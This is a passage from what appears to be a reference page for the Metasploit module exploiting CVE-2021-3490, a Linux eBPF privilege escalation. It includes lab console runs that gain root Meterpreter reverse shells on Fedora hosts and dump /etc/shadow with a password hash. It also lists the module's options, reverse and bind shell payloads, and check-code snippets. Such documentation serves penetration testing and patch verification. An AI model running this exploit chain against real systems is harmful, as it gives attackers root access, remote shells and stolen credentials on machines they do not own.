[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.RRaKt
[+] Deleted /tmp/.yYaQKj
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:60752) at 2021-08-20 16:34:42 -0500

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 32 (Linux 5.9.8-100.fc32.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ localhost.localdomain (uid=1000, gid=1  192.168.224.128:37027 -> 192.168.224.223:4444
                                   000, euid=1000, egid=1000) @ loc...            (192.168.224.223)
  2         meterpreter x64/linux  root @ localhost.localdomain (uid=0, gid=0, e  192.168.224.128:4444 -> 192.168.224.223:60752
                                   uid=0, egid=0) @ localhost.local...            (192.168.224.223)

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >

Fedora 32 Linux Kernel 5.10.12-100

msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 192.168.224.223:4444
[*] Sending stage (3012548 bytes) to 192.168.224.223
[*] Meterpreter session 1 opened (192.168.224.128:45349 -> 192.168.224.223:4444) at 2021-08-20 17:59:50 -0500

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 32 (Linux 5.10.12-100.fc32.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CmdTimeout  120              yes       Maximum number of seconds to wait for the exploit to complete
   SESSION                      yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.dFIC3w' (39352 bytes) ...
[*] Writing '/tmp/.sYuymmhR3Y' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.dFIC3w
[+] Deleted /tmp/.sYuymmhR3Y
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:53154) at 2021-08-20 18:02:58 -0500
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 32 (Linux 5.10.12-100.fc32.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 2...
semsf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ localhost.localdomain (uid=1000, gid=1  192.168.224.128:45349 -> 192.168.224.223:4444
                                   000, euid=1000, egid=1000) @ loc...            (192.168.224.223)
  2         meterpreter x64/linux  root @ localhost.localdomain (uid=0, gid=0, e  192.168.224.128:4444 -> 192.168.224.223:53154
                                   uid=0, egid=0) @ localhost.local...            (192.168.224.223)

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >

Fedora 34 with Linux Kernel 5.11.12-300

msf6 > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ fedora (uid=1000, gid=1000, euid=1000,  192.168.224.128:43029 -> 192.168.224.224:4444
                                    egid=1000) @ fedora.local                     (192.168.224.224)

msf6 > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set LPORT 6644
LPORT => 6644
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CmdTimeout  120             yes       Maximum number of seconds to wait for the exploit to complete
   SESSION     1               yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  6644             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true
VERBOSE => true
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:6644
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Unprivileged BPF loading is permitted
[+] Kernel version 5.11.12-300.fc34.x86_64 appears to be vulnerable
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.TGPokxM' (39352 bytes) ...
[*] Writing '/tmp/.RM7G8l5CtW' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.224.224
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.TGPokxM
[+] Deleted /tmp/.RM7G8l5CtW
[*] Meterpreter session 3 opened (192.168.224.128:6644 -> 192.168.224.224:45650) at 2021-08-23 14:50:52 -0500

meterpreter > getuid
Server username: root @ fedora (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : fedora.local
OS           : Fedora 34 (Linux 5.11.12-300.fc34.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > cat /etc/shadow
root:!::0:99999:7:::
bin:*:18656:0:99999:7:::
daemon:*:18656:0:99999:7:::
adm:*:18656:0:99999:7:::
lp:*:18656:0:99999:7:::
sync:*:18656:0:99999:7:::
shutdown:*:18656:0:99999:7:::
halt:*:18656:0:99999:7:::
mail:*:18656:0:99999:7:::
operator:*:18656:0:99999:7:::
games:*:18656:0:99999:7:::
ftp:*:18656:0:99999:7:::
nobody:*:18656:0:99999:7:::
apache:!!:18740::::::
systemd-network:!!:18740::::::
systemd-coredump:!!:18740::::::
systemd-resolve:!!:18740::::::
systemd-oom:!!:18740::::::
systemd-timesync:!!:18740::::::
tss:!!:18740::::::
dbus:!!:18740::::::
polkitd:!!:18740::::::
avahi:!!:18740::::::
unbound:!!:18740::::::
dnsmasq:!!:18740::::::
nm-openconnect:!!:18740::::::
usbmuxd:!!:18740::::::
gluster:!!:18740::::::
rtkit:!!:18740::::::
pipewire:!!:18740::::::
geoclue:!!:18740::::::
chrony:!!:18740::::::
saslauth:!!:18740::::::
radvd:!!:18740::::::
rpc:!!:18740:0:99999:7:::
qemu:!!:18740::::::
openvpn:!!:18740::::::
nm-openvpn:!!:18740::::::
colord:!!:18740::::::
rpcuser:!!:18740::::::
abrt:!!:18740::::::
flatpak:!!:18740::::::
gdm:!!:18740::::::
gnome-initial-setup:!!:18740::::::
vboxadd:!!:18740::::::
sshd:!!:18740::::::
tcpdump:!!:18740::::::
test:$6$ljo05fNdlEN6MXS$wKC5TeBRRD8W3LYglBpXV3ydvvK5348cTO0T65haiZ9utDVJCdMD9vJoKr.w0OeHKSr4FahUv/CUIsFcdQqUT/:18862:0:99999:7:::
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show info

       Name: Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE
     Module: exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2021-05-11

Provided by:
  Manfred Paul
  chompie1337
  Grant Willcox

Module stability:
 crash-os-down

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  CmdTimeout  120              yes       Maximum number of seconds to wait for the exploit to complete
  SESSION                      yes       The session to run this module on.

Payload information:

Description:
  Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and 
  5.10.37 are vulnerable to a bug in the eBPF verifier's verification 
  of ALU32 operations in the scalar32_min_max_and function when 
  performing AND operations, whereby under certain conditions the 
  bounds of a 32 bit register would not be properly updated. This can 
  be abused by attackers to conduct an out of bounds read and write in 
  the Linux kernel and therefore achieve arbitrary code execution as 
  the root user. The target system must be compiled with eBPF support 
  and not have kernel.unprivileged_bpf_disabled set, which prevents 
  unprivileged users from loading eBPF programs into the kernel. Note 
  that if kernel.unprivileged_bpf_disabled is enabled this module can 
  still be utilized to bypass protections such as SELinux, however the 
  user must already be logged as a privileged user such as root.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-3490
  https://www.openwall.com/lists/oss-security/2021/05/11/11
  https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490
  https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification
  https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e
  https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story
  https://www.zerodayinitiative.com/advisories/ZDI-21-606/
  https://ubuntu.com/security/notices/USN-4950-1
  https://ubuntu.com/security/notices/USN-4949-1

Module Options


This is a complete list of options available in the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit:

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CmdTimeout  120              yes       Maximum number of seconds to wait for the exploit to complete
   SESSION                      yes       The session to run this module on.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit:

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show advanced

Module advanced options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but
                                                            directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe module can exploit:

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit:

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   6   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   7   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   8   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   18  payload/linux/x86/adduser                                          normal  No     Linux Add User
   19  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   20  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   21  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   22  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   23  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   24  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   25  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   26  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   27  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   28  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   29  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   30  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   31  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   32  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   33  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   34  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   35  payload/linux/x86/read_file                                        normal  No     Linux Read File
   36  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   37  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   38  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   39  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   40  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   41  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   42  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   43  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   44  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   45  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   46  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   47  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   48  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   49  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

System architecture <ARCH> is not supported


Here is a relevant code snippet related to the "System architecture <ARCH> is not supported" error message:

88:	    # https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=743aa456c1834f76982af44e8b71d1a0b2a82e2
89:	    # combined with the fact that those distros that do have older x86 versions mostly have 4.x or older kernels,
90:	    # and 90% of them have dropped support for x86 kernels a while back, we'll just assume that if its x86, its probably not
91:	    # running an affected Linux kernel.
92:	    unless arch.include?('x86_64')
93:	      return CheckCode::Safe("System architecture #{arch} is not supported")
94:	    end
95:	
96:	    if unprivileged_bpf_disabled?
97:	      return CheckCode::Safe('Unprivileged BPF loading is not permitted')
98:	    end

Unprivileged BPF loading is not permitted


Here is a relevant code snippet related to the "Unprivileged BPF loading is not permitted" error message:

92:	    unless arch.include?('x86_64')
93:	      return CheckCode::Safe("System architecture #{arch} is not supported")
94:	    end
95:	
96:	    if unprivileged_bpf_disabled?
97:	      return CheckCode::Safe('Unprivileged BPF loading is not permitted')
98:	    end
99:	
100:	    vprint_good('Unprivileged BPF loading is permitted')
101:	
102:	    release = kernel_release

The target Ubuntu server does not have the expected kernel version format!


Here is a relevant code snippet related to the "The target Ubuntu server does not have the expected kernel version format!" error message:

104:	
105:	    # If the target is Ubuntu...
106:	    if version =~ /[uU]buntu/
107:	      version_array = release.split('-')
108:	      if version_array.length < 2
109:	        fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')
110:	      end
111:	      major_version = version_array[0]
112:	      minor_version = version_array[1]
113:	
114:	      # First check if we are past the 5.11.x kernel releases and into at the time of

Target Ubuntu kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!


Here is a relevant code snippet related to the "Target Ubuntu kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!" error message:

112:	      minor_version = version_array[1]
113:	
114:	      # First check if we are past the 5.11.x kernel releases and into at the time of
115:	      # writing beta versions of Ubuntu. If so,the target isn't vuln.
116:	      if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0')
117:	        return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
118:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
120:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122:	      elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.

Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!


Here is a relevant code snippet related to the "Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!" error message:

114:	      # First check if we are past the 5.11.x kernel releases and into at the time of
115:	      # writing beta versions of Ubuntu. If so,the target isn't vuln.
116:	      if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0')
117:	        return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
118:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
120:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122:	      elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
123:	        return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124:	      end

Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!


Here is a relevant code snippet related to the "Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!" error message:

116:	      if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0')
117:	        return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
118:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
120:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
121:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
122:	      elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
123:	        return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124:	      end
125:	    elsif release =~ /\.fc3[2,3,4]\./
126:	      version_array = release.split('-')

Unknown target kernel version, recommend manually checking if target kernel is vulnerable.


Here is a relevant code snippet related to the "Unknown target kernel version, recommend manually checking if target kernel is vulnerable." error message:

118:	      elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
119:	        return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
